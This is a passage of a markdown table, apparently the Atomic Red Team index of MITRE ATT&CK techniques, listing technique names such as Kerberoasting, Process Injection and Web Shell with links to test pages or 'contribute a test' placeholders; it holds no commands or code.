-|  | [PowerShell](../../T1059.001/T1059.001.md) | [Component Object Model Hijacking](../../T1546.015/T1546.015.md) | [DLL Search Order Hijacking](../../T1574.001/T1574.001.md) | [Create Process with Token](../../T1134.002/T1134.002.md) | Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Permission Groups Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Windows Remote Management](../../T1021.006/T1021.006.md) | [LLMNR/NBT-NS Poisoning and SMB Relay](../../T1557.001/T1557.001.md) |  | Multi-Stage Channels [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Service Stop](../../T1489/T1489.md) |
-|  | [Python](../../T1059.006/T1059.006.md) | Compromise Client Software Binary [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [DLL Side-Loading](../../T1574.002/T1574.002.md) | Create Snapshot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Kerberoasting](../../T1558.003/T1558.003.md) | [Process Discovery](../../T1057/T1057.md) |  | [Local Data Staging](../../T1074.001/T1074.001.md) |  | [Multi-hop Proxy](../../T1090.003/T1090.003.md) | Stored Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  | [Scheduled Task](../../T1053.005/T1053.005.md) | [Container Orchestration Job](../../T1053.007/T1053.007.md) | [Default Accounts](../../T1078.001/T1078.001.md) | [DLL Search Order Hijacking](../../T1574.001/T1574.001.md) | [Keychain](../../T1555.001/T1555.001.md) | [Query Registry](../../T1012/T1012.md) |  | [Local Email Collection](../../T1114.001/T1114.001.md) |  | Multiband Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Shutdown/Reboot](../../T1529/T1529.md) |
-|  | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Create Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [DLL Side-Loading](../../T1574.002/T1574.002.md) | [Keylogging](../../T1056.001/T1056.001.md) | [Remote System Discovery](../../T1018/T1018.md) |  | Man in the Browser [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Non-Application Layer Protocol](../../T1095/T1095.md) | Transmitted Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  | Scripting [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Create or Modify System Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Default Accounts](../../T1078.001/T1078.001.md) | [LLMNR/NBT-NS Poisoning and SMB Relay](../../T1557.001/T1557.001.md) | [Security Software Discovery](../../T1518.001/T1518.001.md) |  | Man-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Non-Standard Encoding [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  | [Service Execution](../../T1569.002/T1569.002.md) | [Cron](../../T1053.003/T1053.003.md) | [Domain Trust Modification](../../T1484.002/T1484.002.md) | Delete Cloud Instance [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [LSA Secrets](../../T1003.004/T1003.004.md) | [Software Discovery](../../T1518/T1518.md) |  | Network Device Configuration Dump [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Non-Standard Port](../../T1571/T1571.md) |  |
-|  | Shared Modules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [DLL Search Order Hijacking](../../T1574.001/T1574.001.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Deobfuscate/Decode Files or Information](../../T1140/T1140.md) | [LSASS Memory](../../T1003.001/T1003.001.md) | [System Checks](../../T1497.001/T1497.001.md) |  | Remote Data Staging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | One-Way Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  | [Software Deployment Tools](../../T1072/T1072.md) | [DLL Side-Loading](../../T1574.002/T1574.002.md) | [Dynamic Linker Hijacking](../../T1574.006/T1574.006.md) | Deploy Container [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Man-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Information Discovery](../../T1082/T1082.md) |  | Remote Email Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  | Source [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Default Accounts](../../T1078.001/T1078.001.md) | [Dynamic-link Library Injection](../../T1055.001/T1055.001.md) | [Direct Volume Access](../../T1006/T1006.md) | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | System Location Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | SNMP (MIB Dump) [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Protocol Impersonation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  | System Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Domain Account](../../T1136.002/T1136.002.md) | Elevated Execution with Prompt [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Disable Cloud Logs](../../T1562.008/T1562.008.md) | [NTDS](../../T1003.003/T1003.003.md) | [System Network Configuration Discovery](../../T1016/T1016.md) |  | [Screen Capture](../../T1113/T1113.md) |  | [Protocol Tunneling](../../T1572/T1572.md) |  |
-|  | [Systemd Timers](../../T1053.006/T1053.006.md) | Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Emond](../../T1546.014/T1546.014.md) | Disable Crypto Hardware [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Network Device Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Network Connections Discovery](../../T1049/T1049.md) |  | Sharepoint [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Proxy [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  | [Unix Shell](../../T1059.004/T1059.004.md) | Domain Controller Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Escape to Host](../../T1611/T1611.md) | [Disable Windows Event Logging](../../T1562.002/T1562.002.md) | [Network Sniffing](../../T1040/T1040.md) | [System Owner/User Discovery](../../T1033/T1033.md) |  | [Video Capture](../../T1125/T1125.md) |  | [Remote Access Software](../../T1219/T1219.md) |  |
-|  | User Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Dylib Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Event Triggered Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disable or Modify Cloud Firewall [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [OS Credential Dumping](../../T1003/T1003.md) | [System Service Discovery](../../T1007/T1007.md) |  | Web Portal Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Standard Encoding](../../T1132.001/T1132.001.md) |  |
-|  | [Visual Basic](../../T1059.005/T1059.005.md) | [Dynamic Linker Hijacking](../../T1574.006/T1574.006.md) | Executable Installer File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Disable or Modify System Firewall](../../T1562.004/T1562.004.md) | [Password Cracking](../../T1110.002/T1110.002.md) | [System Time Discovery](../../T1124/T1124.md) |  |  |  | Steganography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  | [Windows Command Shell](../../T1059.003/T1059.003.md) | [Emond](../../T1546.014/T1546.014.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Disable or Modify Tools](../../T1562.001/T1562.001.md) | [Password Filter DLL](../../T1556.002/T1556.002.md) | Time Based Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  | Symmetric Cryptography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  | [Windows Management Instrumentation](../../T1047/T1047.md) | Event Triggered Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Password Guessing](../../T1110.001/T1110.001.md) | User Activity Based Checks [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | Exchange Email Delegate Permissions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Group Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Controller Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Password Managers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  | [Web Protocols](../../T1071.001/T1071.001.md) |  |
-|  |  | Executable Installer File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Password Spraying](../../T1110.003/T1110.003.md) |  |  |  |  | Web Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | [External Remote Services](../../T1133/T1133.md) | [Image File Execution Options Injection](../../T1546.012/T1546.012.md) | [Domain Trust Modification](../../T1484.002/T1484.002.md) | [Pluggable Authentication Modules](../../T1556.003/T1556.003.md) |  |  |  |  |  |  |
-|  |  | Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Kernel Modules and Extensions](../../T1547.006/T1547.006.md) | Downgrade System Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Private Keys](../../T1552.004/T1552.004.md) |  |  |  |  |  |  |
-|  |  | Hypervisor [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Dylib Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Proc Filesystem](../../T1003.007/T1003.007.md) |  |  |  |  |  |  |
-|  |  | [Image File Execution Options Injection](../../T1546.012/T1546.012.md) | LSASS Driver [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Dynamic Linker Hijacking](../../T1574.006/T1574.006.md) | [SAML Tokens](../../T1606.002/T1606.002.md) |  |  |  |  |  |  |
-|  |  | Implant Internal Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Launch Agent](../../T1543.001/T1543.001.md) | [Dynamic-link Library Injection](../../T1055.001/T1055.001.md) | [Security Account Manager](../../T1003.002/T1003.002.md) |  |  |  |  |  |  |
-|  |  | [Kernel Modules and Extensions](../../T1547.006/T1547.006.md) | [Launch Daemon](../../T1543.004/T1543.004.md) | Elevated Execution with Prompt [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Securityd Memory [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
-|  |  | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Launchd](../../T1053.004/T1053.004.md) | Environmental Keying [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Silver Ticket [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
-|  |  | LSASS Driver [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Local Accounts](../../T1078.003/T1078.003.md) | Executable Installer File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Steal Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
-|  |  | [Launch Agent](../../T1543.001/T1543.001.md) | [Logon Script (Mac)](../../T1037.002/T1037.002.md) | Execution Guardrails [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Steal Web Session Cookie [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
-|  |  | [Launch Daemon](../../T1543.004/T1543.004.md) | [Logon Script (Windows)](../../T1037.001/T1037.001.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Steal or Forge Kerberos Tickets [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
-|  |  | [Launchd](../../T1053.004/T1053.004.md) | Make and Impersonate Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
-|  |  | [Local Account](../../T1136.001/T1136.001.md) | [Netsh Helper DLL](../../T1546.007/T1546.007.md) | [File Deletion](../../T1070.004/T1070.004.md) | Unsecured Credentials [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
-|  |  | [Local Accounts](../../T1078.003/T1078.003.md) | Network Logon Script [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | File and Directory Permissions Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Web Cookies [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
-|  |  | [Logon Script (Mac)](../../T1037.002/T1037.002.md) | [Parent PID Spoofing](../../T1134.004/T1134.004.md) | [Gatekeeper Bypass](../../T1553.001/T1553.001.md) | Web Portal Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
-|  |  | [Logon Script (Windows)](../../T1037.001/T1037.001.md) | Path Interception [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Group Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Windows Credential Manager [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
-|  |  | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Hidden File System [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | [Netsh Helper DLL](../../T1546.007/T1546.007.md) | Path Interception by Search Order Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Hidden Files and Directories](../../T1564.001/T1564.001.md) |  |  |  |  |  |  |  |
-|  |  | Network Device Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Path Interception by Unquoted Path](../../T1574.009/T1574.009.md) | [Hidden Users](../../T1564.002/T1564.002.md) |  |  |  |  |  |  |  |
-|  |  | Network Logon Script [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Plist Modification](../../T1547.011/T1547.011.md) | [Hidden Window](../../T1564.003/T1564.003.md) |  |  |  |  |  |  |  |
-|  |  | [Office Application Startup](../../T1137/T1137.md) | [Port Monitors](../../T1547.010/T1547.010.md) | [Hide Artifacts](../../T1564/T1564.md) |  |  |  |  |  |  |  |
-|  |  | Office Template Macros [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Portable Executable Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | [Office Test](../../T1137.002/T1137.002.md) | [PowerShell Profile](../../T1546.013/T1546.013.md) | [Impair Command History Logging](../../T1562.003/T1562.003.md) |  |  |  |  |  |  |  |
-|  |  | Outlook Forms [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Print Processors [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Impair Defenses [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | [Outlook Home Page](../../T1137.004/T1137.004.md) | Proc Memory [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Indicator Blocking](../../T1562.006/T1562.006.md) |  |  |  |  |  |  |  |
-|  |  | Outlook Rules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Process Doppelgänging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Indicator Removal from Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | [Password Filter DLL](../../T1556.002/T1556.002.md) | [Process Hollowing](../../T1055.012/T1055.012.md) | [Indicator Removal on Host](../../T1070/T1070.md) |  |  |  |  |  |  |  |
-|  |  | Path Interception [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Process Injection](../../T1055/T1055.md) | [Indirect Command Execution](../../T1202/T1202.md) |  |  |  |  |  |  |  |
-|  |  | Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Ptrace System Calls [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Install Root Certificate](../../T1553.004/T1553.004.md) |  |  |  |  |  |  |  |
-|  |  | Path Interception by Search Order Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [RC Scripts](../../T1037.004/T1037.004.md) | [InstallUtil](../../T1218.004/T1218.004.md) |  |  |  |  |  |  |  |
-|  |  | [Path Interception by Unquoted Path](../../T1574.009/T1574.009.md) | [Re-opened Applications](../../T1547.007/T1547.007.md) | Invalid Code Signature [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | [Plist Modification](../../T1547.011/T1547.011.md) | [Registry Run Keys / Startup Folder](../../T1547.001/T1547.001.md) | LC_MAIN Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | [Pluggable Authentication Modules](../../T1556.003/T1556.003.md) | SID-History Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Linux and Mac File and Directory Permissions Modification](../../T1222.002/T1222.002.md) |  |  |  |  |  |  |  |
-|  |  | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Scheduled Task](../../T1053.005/T1053.005.md) | [Local Accounts](../../T1078.003/T1078.003.md) |  |  |  |  |  |  |  |
-|  |  | [Port Monitors](../../T1547.010/T1547.010.md) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [MSBuild](../../T1127.001/T1127.001.md) |  |  |  |  |  |  |  |
-|  |  | [PowerShell Profile](../../T1546.013/T1546.013.md) | [Screensaver](../../T1546.002/T1546.002.md) | Make and Impersonate Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | Pre-OS Boot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Security Support Provider](../../T1547.005/T1547.005.md) | [Mark-of-the-Web Bypass](../../T1553.005/T1553.005.md) |  |  |  |  |  |  |  |
-|  |  | Print Processors [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Services File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Masquerade Task or Service](../../T1036.004/T1036.004.md) |  |  |  |  |  |  |  |
-|  |  | [RC Scripts](../../T1037.004/T1037.004.md) | [Services Registry Permissions Weakness](../../T1574.011/T1574.011.md) | [Masquerading](../../T1036/T1036.md) |  |  |  |  |  |  |  |
-|  |  | ROMMONkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Setuid and Setgid](../../T1548.001/T1548.001.md) | [Match Legitimate Name or Location](../../T1036.005/T1036.005.md) |  |  |  |  |  |  |  |
-|  |  | [Re-opened Applications](../../T1547.007/T1547.007.md) | [Shortcut Modification](../../T1547.009/T1547.009.md) | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | Redundant Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Startup Items](../../T1037.005/T1037.005.md) | Modify Cloud Compute Infrastructure [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | [Registry Run Keys / Startup Folder](../../T1547.001/T1547.001.md) | [Sudo and Sudo Caching](../../T1548.003/T1548.003.md) | [Modify Registry](../../T1112/T1112.md) |  |  |  |  |  |  |  |
-|  |  | SQL Stored Procedures [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Systemd Service](../../T1543.002/T1543.002.md) | Modify System Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | [SSH Authorized Keys](../../T1098.004/T1098.004.md) | [Systemd Timers](../../T1053.006/T1053.006.md) | [Mshta](../../T1218.005/T1218.005.md) |  |  |  |  |  |  |  |
-|  |  | [Scheduled Task](../../T1053.005/T1053.005.md) | Thread Execution Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Msiexec](../../T1218.007/T1218.007.md) |  |  |  |  |  |  |  |
-|  |  | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Thread Local Storage [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [NTFS File Attributes](../../T1564.004/T1564.004.md) |  |  |  |  |  |  |  |
-|  |  | [Screensaver](../../T1546.002/T1546.002.md) | Time Providers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Network Address Translation Traversal [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | [Security Support Provider](../../T1547.005/T1547.005.md) | [Token Impersonation/Theft](../../T1134.001/T1134.001.md) | Network Boundary Bridging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | Server Software Component [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Trap](../../T1546.005/T1546.005.md) | Network Device Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | Services File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Unix Shell Configuration Modification](../../T1546.004/T1546.004.md) | [Network Share Connection Removal](../../T1070.005/T1070.005.md) |  |  |  |  |  |  |  |
-|  |  | [Services Registry Permissions Weakness](../../T1574.011/T1574.011.md) | VDSO Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Obfuscated Files or Information](../../T1027/T1027.md) |  |  |  |  |  |  |  |
-|  |  | [Shortcut Modification](../../T1547.009/T1547.009.md) | Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Odbcconf](../../T1218.008/T1218.008.md) |  |  |  |  |  |  |  |
-|  |  | [Startup Items](../../T1037.005/T1037.005.md) | [Windows Management Instrumentation Event Subscription](../../T1546.003/T1546.003.md) | [Parent PID Spoofing](../../T1134.004/T1134.004.md) |  |  |  |  |  |  |  |
-|  |  | System Firmware [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Windows Service](../../T1543.003/T1543.003.md) | [Pass the Hash](../../T1550.002/T1550.002.md) |  |  |  |  |  |  |  |
-|  |  | [Systemd Service](../../T1543.002/T1543.002.md) | [Winlogon Helper DLL](../../T1547.004/T1547.004.md) | [Pass the Ticket](../../T1550.003/T1550.003.md) |  |  |  |  |  |  |  |
-|  |  | [Systemd Timers](../../T1053.006/T1053.006.md) | XDG Autostart Entries [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Password Filter DLL](../../T1556.002/T1556.002.md) |  |  |  |  |  |  |  |
-|  |  | TFTP Boot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Patch System Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | Time Providers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Path Interception by Search Order Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | [Transport Agent](../../T1505.002/T1505.002.md) |  | [Path Interception by Unquoted Path](../../T1574.009/T1574.009.md) |  |  |  |  |  |  |  |
-|  |  | [Trap](../../T1546.005/T1546.005.md) |  | [Pluggable Authentication Modules](../../T1556.003/T1556.003.md) |  |  |  |  |  |  |  |
-|  |  | [Unix Shell Configuration Modification](../../T1546.004/T1546.004.md) |  | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Portable Executable Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | [Web Shell](../../T1505.003/T1505.003.md) |  | Pre-OS Boot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | [Windows Management Instrumentation Event Subscription](../../T1546.003/T1546.003.md) |  | Proc Memory [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
